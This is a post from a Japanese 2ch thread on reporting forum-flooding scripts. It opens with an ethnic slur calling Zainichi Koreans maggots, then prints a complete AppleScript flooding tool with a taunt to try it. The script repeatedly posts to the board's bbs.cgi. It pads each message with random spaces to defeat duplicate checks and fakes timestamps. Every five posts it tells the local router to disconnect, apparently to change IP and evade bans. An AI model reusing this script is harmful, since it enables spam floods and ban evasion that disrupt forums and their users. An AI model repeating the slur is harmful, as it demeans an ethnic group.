◆スクリプト＆コピペ(乱立)荒らし報告スレ2

226 ： ◆yzlSeA0w ：02/04/02 05:06 ID:??? NO-1
在日朝鮮人のうじ虫が公開しました。

連続投稿する自作スクリプト（笑）だよ。
使えるもんなら使ってみな。
property CRLF : (ASCII character 13) & (ASCII character 10)

set cut to "POST /mconn HTTP/1.1
Host: 192.168.0.1
Accept: */*
Accept-Language: ja
onnection: Keep-Alive
Referer: http://192.168.0.1/conn?
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Mac_PowerPC)
UA-OS: MacOS
UA-CPU: PPC
Content-type: application/x-www-form-urlencoded
Extension: Security/Remote-Passphrase
Content-length: 35
PP=1&LOGIN=ON&DISCONNECT=%90%D8%92f"

set AppleScript's text item delimiters to return
set cut to text items of cut
set AppleScript's text item delimiters to CRLF
set cut to cut as string

tell application "Internet Explorer"
set rf to item 1 of (GetWindowInfo (item 1 of (ListWindows)))
end tell

NO-2
set AppleScript's text item delimiters to "/"
set LST to text items of rf
set sv to item 3 of LST
set bbs to item 6 of LST
set sure to item 7 of LST

set kaisuu to text returned of (display dialog "回数" default answer "")
set fr to text returned of (display dialog "名前" default answer "")
set ct to text returned of (display dialog "内容" default answer "")
repeat with i from 1 to kaisuu

repeat with j from 1 to round ((random number) * 10) + 1
set ct to ct & " "
end repeat
set dt to MT Encode URL ct
set ed to "submit=%8F%91%82%AB%8D%9E%82%DE&FROM=" & fr & "&mail=sage&MESSAGE=" & dt & "&bbs=" & bbs ﾂ

& "&key=" & sure & "&time=" & 1.005305372E+9 + (round ((random number) * 3000))
set ch to count character of ed
set AppleScript's text item delimiters to return
set ddd to ﾂ
"POST /test/bbs.cgi HTTP/1.1
Host: " & sv & "
Accept: */*
Accept-Language: ja
Connection: Keep-Alive
Referer: " & rf & "
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Mac_PowerPC)
UA-OS: MacOS
UA-CPU: PPC
Cookie: NAME=; MAIL=
Content-type: application/x-www-form-urlencoded
Extension: Security/Remote-Passphrase
Content-length: " & ch & "

" & ed
set ddd to text items of ddd
set AppleScript's text item delimiters to CRLF
set ddd to ddd as string

NO-3
tell application "NetEvents 1.2.1 BG"
try
set addr to NameToAddr (sv)
set str to OpenStream addr port 80
WriteStream str data ddd
CloseStream str
on error err number num
"Script Error: " & err & " (" & num & ")"
end try
end tell
if i > 0 and i mod 5 = 0 then
--display dialog "5レス書込完了　続行なら回線切断のちOK"
delay 2
tell application "NetEvents 1.2.1 BG"
try
set addr to NameToAddr ("192.168.0.1")
set str to OpenStream addr port 80
WriteStream str data cut
CloseStream str

on error err number num
"Script Error: " & err & " (" & num & ")"
end try
end tell
end if
end repeat
beep
display dialog "書込み完了"